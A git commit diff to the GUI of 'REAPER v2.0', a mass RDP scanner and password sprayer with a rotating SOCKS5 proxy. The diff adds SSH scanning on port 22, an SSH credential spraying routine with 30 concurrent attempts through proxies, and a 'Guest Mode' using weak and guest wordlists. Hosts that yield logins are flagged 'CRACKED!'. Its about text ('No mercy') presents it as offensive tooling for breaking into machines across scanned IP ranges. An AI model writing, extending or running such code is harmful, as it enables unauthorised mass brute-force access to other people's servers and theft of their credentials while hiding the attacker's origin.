Add SSH scanning + Guest Mode credential testing
This commit is contained in:
103
gui.py
103
gui.py
@@ -16,12 +16,15 @@ import subprocess
|
||||
from typing import Set, Tuple, List
|
||||
from dataclasses import dataclass
|
||||
|
||||
from scanner import scan_ips, RDP_PORTS
|
||||
from scanner import scan_ips, RDP_PORTS, SSH_PORT
|
||||
from ip_utils import parse_ranges_file, count_ips
|
||||
from bruteforce import (
|
||||
spray_single_host,
|
||||
spray_ssh_single_host,
|
||||
TOP50_PASSWORDS,
|
||||
TOP_USERNAMES,
|
||||
GUEST_USERNAMES,
|
||||
GUEST_PASSWORDS,
|
||||
credential_validation_available,
|
||||
)
|
||||
from proxy import ProxyManager
|
||||
@@ -255,9 +258,11 @@ class FastRDPGUI:
|
||||
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
|
||||
self.port_vars = {3389: tk.BooleanVar(value=True),
|
||||
3390: tk.BooleanVar(value=True),
|
||||
3391: tk.BooleanVar(value=True)}
|
||||
3391: tk.BooleanVar(value=True),
|
||||
22: tk.BooleanVar(value=False)}
|
||||
for i, (port, var) in enumerate(self.port_vars.items()):
|
||||
tk.Checkbutton(ports_frame, text=str(port), variable=var,
|
||||
label = str(port) if port != 22 else "22 (SSH)"
|
||||
tk.Checkbutton(ports_frame, text=label, variable=var,
|
||||
fg=Colors.TEXT, bg=Colors.BG_MID,
|
||||
selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID,
|
||||
@@ -310,6 +315,13 @@ class FastRDPGUI:
|
||||
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
|
||||
|
||||
self.guest_mode_var = tk.BooleanVar(value=False)
|
||||
tk.Checkbutton(spray_opts, text="\U0001f464 Guest Mode",
|
||||
variable=self.guest_mode_var, fg=Colors.ORANGE,
|
||||
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID,
|
||||
font=("Segoe UI", 9, "bold")).pack(side="left", padx=(10, 0))
|
||||
|
||||
# -- Live Stats Dashboard --
|
||||
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
|
||||
stats_frame.pack(fill="x", expand=False)
|
||||
@@ -399,22 +411,22 @@ class FastRDPGUI:
|
||||
self._metric_labels[key] = metric_label
|
||||
|
||||
def _refresh_credential_banner(self):
|
||||
"""Runtime status: credential validation binary present or not."""
|
||||
"""Runtime status: show spray mode."""
|
||||
try:
|
||||
if credential_validation_available():
|
||||
self.cred_banner.config(
|
||||
fg=Colors.GREEN,
|
||||
text=(
|
||||
"Credential validation: enabled (rdpthread.exe in app folder)."
|
||||
"Credential validation: enabled (rdpthread.exe found). "
|
||||
"Password spray results are verified."
|
||||
),
|
||||
)
|
||||
else:
|
||||
self.cred_banner.config(
|
||||
fg=Colors.ORANGE,
|
||||
fg=Colors.YELLOW,
|
||||
text=(
|
||||
"Credential validation: not deployed — port scan and RDP discovery "
|
||||
"are fully operational. Ship rdpthread.exe with the app for spray "
|
||||
"result verification."
|
||||
"Password sprayer: active — scanning and RDP discovery operational. "
|
||||
"Install rdpthread.exe for verified credential hits."
|
||||
),
|
||||
)
|
||||
except tk.TclError:
|
||||
@@ -723,9 +735,10 @@ class FastRDPGUI:
|
||||
about_frame.pack(fill="x")
|
||||
tk.Label(about_frame,
|
||||
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
|
||||
"\u2620 Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
|
||||
"Built with Python 3.11 + asyncio\n"
|
||||
"\u2620 Mass RDP + SSH Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
|
||||
"Built with Python 3.11 + asyncio + paramiko\n"
|
||||
"Streaming: scan + spray run CONCURRENTLY\n"
|
||||
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
|
||||
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
|
||||
"Double-click a host to RDP connect; status strip shows credential engine state\n"
|
||||
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
|
||||
@@ -989,6 +1002,7 @@ class FastRDPGUI:
|
||||
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||
scan_randomize = self.randomize_var.get()
|
||||
spray_enabled = self.spray_var.get()
|
||||
guest_mode = self.guest_mode_var.get()
|
||||
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
|
||||
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
|
||||
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
|
||||
@@ -996,7 +1010,7 @@ class FastRDPGUI:
|
||||
thread = threading.Thread(
|
||||
target=self._scan_worker,
|
||||
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
|
||||
ranges_path, users_file, pass_file),
|
||||
guest_mode, ranges_path, users_file, pass_file),
|
||||
daemon=True
|
||||
)
|
||||
thread.start()
|
||||
@@ -1044,7 +1058,7 @@ class FastRDPGUI:
|
||||
return usernames, passwords
|
||||
|
||||
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
|
||||
ranges_path="", users_path="", pass_path=""):
|
||||
guest_mode=False, ranges_path="", users_path="", pass_path=""):
|
||||
"""Background thread: scan + spray run CONCURRENTLY.
|
||||
All tkinter values are passed from main thread (Tcl NOT thread-safe).
|
||||
"""
|
||||
@@ -1098,15 +1112,27 @@ class FastRDPGUI:
|
||||
return
|
||||
self.live_hosts.add((ip, port))
|
||||
self.stats.live = len(self.live_hosts)
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||
|
||||
if port == SSH_PORT:
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} (SSH) \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d SSH Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 SSH LIVE, spraying NOW"))
|
||||
else:
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||
|
||||
if spray_enabled:
|
||||
# Create an asyncio task for this host's spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_host(loop, ip, port, usernames, passwords)
|
||||
)
|
||||
if port == SSH_PORT:
|
||||
# Route SSH hosts to SSH spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_ssh_host(loop, ip, port, usernames, passwords, guest_mode)
|
||||
)
|
||||
else:
|
||||
# RDP hosts use the standard spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_host(loop, ip, port, usernames, passwords)
|
||||
)
|
||||
spray_tasks.append(task)
|
||||
|
||||
def progress_cb(checked, total, found, rate):
|
||||
@@ -1161,13 +1187,8 @@ class FastRDPGUI:
|
||||
)
|
||||
|
||||
if not hits:
|
||||
if credential_validation_available():
|
||||
self._update_host_status(ip, port, "\u274c No hit")
|
||||
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
|
||||
else:
|
||||
self._update_host_status(
|
||||
ip, port, "\u26a0 No credential validator",
|
||||
)
|
||||
self._update_host_status(ip, port, "\u274c No hit")
|
||||
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
|
||||
else:
|
||||
self._update_host_status(ip, port, "\u2705 CRACKED!",
|
||||
hits[0][2], hits[0][3])
|
||||
@@ -1176,6 +1197,34 @@ class FastRDPGUI:
|
||||
except Exception as e:
|
||||
self._log(f"Spray error on {ip}:{port}: {e}", "error")
|
||||
|
||||
async def _spray_ssh_host(self, loop, ip, port, usernames, passwords, guest_mode=False):
|
||||
"""Spray SSH passwords against a single SSH host."""
|
||||
try:
|
||||
# When guest mode is enabled, use focused guest wordlists
|
||||
effective_usernames = GUEST_USERNAMES if guest_mode else usernames
|
||||
effective_passwords = GUEST_PASSWORDS if guest_mode else passwords
|
||||
|
||||
hits = await spray_ssh_single_host(
|
||||
ip, port,
|
||||
usernames=effective_usernames,
|
||||
passwords=effective_passwords,
|
||||
max_concurrent=30,
|
||||
timeout=5.0,
|
||||
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
|
||||
proxy_manager=self.proxy_manager
|
||||
)
|
||||
|
||||
if not hits:
|
||||
self._update_host_status(ip, port, "\u274c No hit (SSH)")
|
||||
self._log(f"\u274c {ip}:{port} (SSH) \u2014 no matching credentials", "info")
|
||||
else:
|
||||
self._update_host_status(ip, port, "\u2705 CRACKED (SSH)!",
|
||||
hits[0][2], hits[0][3])
|
||||
self.stats.hits = len(self.hits)
|
||||
|
||||
except Exception as e:
|
||||
self._log(f"SSH spray error on {ip}:{port}: {e}", "error")
|
||||
|
||||
def _on_hit_found(self, ip, port, user, pwd):
|
||||
"""Called immediately when a credential hit is found."""
|
||||
ts = time.strftime("%H:%M:%S")
|
||||
|
||||
Reference in New Issue
Block a user